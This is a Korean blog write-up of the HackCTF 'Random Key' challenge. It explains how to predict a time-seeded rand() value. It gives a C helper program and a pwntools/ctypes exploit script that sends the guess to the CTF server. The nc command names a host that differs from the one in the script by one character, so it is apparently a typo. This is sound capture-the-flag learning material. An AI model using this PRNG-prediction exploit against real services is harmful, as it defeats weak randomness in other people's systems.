상세 컨텐츠

본문 제목

[HackCTF] Random Key

SYSTEM HACKING/HackCTF

by koharin 2020. 1. 18. 17:55

본문

728x90
반응형

# pseudo code

 

프로그램 실행마다 생성되는 난수와 입력 값이 같으면 flag를 출력해주는 간단한 문제이다.

 

 

# process

 

난수를 어떻게 생성할까.

프로그램 실행 시 한 번만 입력받으므로 익스 코드 내에서는 불가능하다.

따라서 따로 난수 프로그램을 만들어서 입력으로 줘야한다.

 

1. 파이프 사용 : c 파일의 표준출력(난수)을 서버의 표준입력으로 준다.

2. 난수를 생성하는 c 코드 파일을 so 파일로 만들어서 ctype으로 파이썬에 import 하는 방법

3. 파이썬 내에서 ctypes 모듈을 불러와서 난수를 생성한다.

 

1번 방법 사용

 

#include<stdio.h>
#include<stdlib.h>
#include<time.h>

void main(){
    srand(time(0));
    printf("%d\n", rand());
}

 

컴파일해서 rand라는 실행파일 생성

 

 

 

# exploit 

 

(3번 방법 익스코드)

#!/usr/bin/python                                                                       
from pwn import *
from ctypes import *

r = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
#p = process("./random")
p = remote("ctf.j0n9hyun.xyz", 3014)

r.srand(r.time(0))

guess = r.rand()

p.sendline(str(guess))

p.interactive()

 

$ ./rand | nc ctf.j0n8hyun.xyz 3014

 

 

 

728x90
반응형

'SYSTEM HACKING > HackCTF' 카테고리의 다른 글

[HackCTF] Unexploitable #1  (0) 2020.01.19
[HackCTF] UAF  (0) 2020.01.19
[HackCTF] ROP  (3) 2020.01.16
[HackCTF] pwning  (0) 2020.01.15
[HackCTF] Gift  (0) 2020.01.12

관련글 더보기